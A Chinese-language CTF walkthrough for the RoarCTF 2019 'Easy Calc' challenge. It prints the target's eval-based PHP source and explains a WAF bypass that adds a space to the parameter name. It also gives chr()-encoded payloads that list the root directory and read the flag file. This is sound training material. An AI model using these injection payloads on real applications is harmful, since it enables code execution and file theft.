发现一个计算器,随意输入1+2

有回显,f12查看源码,发现网站设置了waf,并且发现了calc.php以及url给的提示

直接读取calc.php,得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

审计代码可得,我们需要传入num,过滤黑名单中的字符,最终输出eval。当我们输入字符的时候,计算器是报错的

对于waf不允许num传递字母,我们可以再num前面加空格来绕过,这样的话waf就找不到我们上传的num,因为现在的num的名字为“ num”,但是在php解析的时候,php会将空格去掉,这样去掉空格后代码还是正常的

有正确的回显,进入phpinfo查看一下

发现禁用了大量的函数,接下来利用var_dump()函数(PHP var_dump() 函数 | 菜鸟教程)和scandir()函数(PHP scandir() 函数 | 菜鸟教程)来读取一下目录,payload:? num=var_dump(scandir(chr(47))),相当于?num=system(ls /),chr(47)="/"

发现了f1agg,读取文件用到file_get_contents()函数(PHP file_get_contents() 函数 | 菜鸟教程),payload:? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)),相当于?  num=file_get_contents(/f1agg)即? num=system(cat /f1agg)

[RoarCTF 2019]Easy Calc相关推荐

  1. [极客大挑战 2019]Knife [RoarCTF 2019]Easy Calc

    一句话直接连. 一个计算器随便试一试,当输入字母时会报错.查看网页源码,在script中发现了运行计算器的php文件:calc.php,但是也有一句很重要的注释 <!--I've set up ...

  2. 【BUUCTF】------web之 [RoarCTF 2019]Easy Calc

    打开连接 随便输入1+1 没什么信息 F12 发现俩个点:1:设置了waf 2.calc.php 那么 访问 http://node3.buuoj.cn:28064/calc.php 得到 <? ...

  3. CTF学习笔记——Easy Calc

    一.[RoarCTF 2019]Easy Calc 1.题目 2.解题步骤 发现框框-应该是注入题-源码中提示有个waf,继续看源码,发现有个calc.php,进去看看 初步理解应该是用num传参,然 ...

  4. BUUCTF msic 专题(115)[安洵杯 2019]easy misc

    下载附件,有三个文件,依次查看 图片中发现了两个IEND证明应该有两张图片拼成了这一张,进行foremost 发现有两张一样的图片,stegsolve查看分离出的图片 很明显的盲水印,用blindwa ...

  5. 新手入门Web安全学习Week7

    1.[极客大挑战 2019]Knife 这个怕是签到题 真·白给 根目录找到flag 2.[极客大挑战 2019]Http http类的题目,直接打开burp 看见有个secret 需要修改头 Ref ...

  6. BUUCTF持续更新中

    目录 [HCTF 2018]WarmUp [强网杯 2019]随便注 [SUCTF 2019]EasySQL [GYCTF2020]Blacklist [GKCTF2020]cve版签到 GXYCTF ...

  7. buuctf web1

    目录 [极客大挑战 2019]EasySQL [HCTF 2018]WarmUp [极客大挑战 2019]Havefun [ACTF2020 新生赛]Include [强网杯 2019]随便注 [SU ...

  8. BUUCTF-WEB(1-16)

    BUUCTF-WEB(1-16) 1.[HCTF 2018]WarmUp ​ 根据点开靶机时的一个提示:代码审计,可知主要考察代码审计,在点开靶机之后,出现了一个滑稽表情,右键检查网页源码,发现在图片 ...

  9. BUUWeb刷题记录

    [极客大挑战 2019]EasySQL 一.本题做题思路 本题打开后是一个登录网站,结合题目所给提示,考虑应该是SQL注入 看一下源代码,发现是get传参,和要加上check.php 判断下闭合方式, ...

最新文章

  1. golang中的信号
  2. EL表达式中fn函数(转载)
  3. 一款非常简约好看的白色网格个人引导页HTML源码
  4. 队列:先入先出的数据结构讲解
  5. 对于electron-react-boilerplate(ERB)的学习笔记(legacy)
  6. Java中找出s字符串的回文_给定一个字符串 s,找到 s 中最长的回文子串。
  7. linux alias命令
  8. 用vue写一个仿简书的轮播图
  9. centos7通过阿里云配置docker加速镜像
  10. 各种电子书格式及优缺点
  11. 嵌入式linux快速入门
  12. matlab生成浮雕灰度图,将照片做成浮雕灰度图
  13. PS完美抠取头发丝----更换证件照背景完美去白边/蓝边/红边-----超实用方法
  14. em表示什么长度单位_CSS的长度单位(em)与em标签
  15. 马云为何学计算机,IT大佬高考:李彦宏是状元 马云数学仅1分
  16. 最小均方算法二分类(基于双月数据集)
  17. luogu1091合唱队形
  18. 四川多多开店:拼多多如何获取好的评价
  19. 选型笔记之二极管选型
  20. Linux版本的mcnp6,Initial MCNP6 release overview. MCNP6 version 0.1

热门文章

  1. 基于Android Studio开发的笔记APP
  2. Windows下桌面便签小工具--StickyPad简单使用教程(非StickyNotes)
  3. python两个数组合并排序_合并Python中的排序数组
  4. Hadoop系列(一)——HDFS总结
  5. oracle如何打开控制文件,看一看oracle控制文件里面的内容
  6. 数值计算笔记之数值积分(一)
  7. VBA-合并多个工作簿
  8. [TOG2020](综述)3D Morphable Face Models—Past, Present, and Future
  9. COSMOS认证辅导,真正的有机护肤品首先要是天然植物成分,不受转基因和人工化学添加的影响
  10. Python自动检查哪位学生未提交作业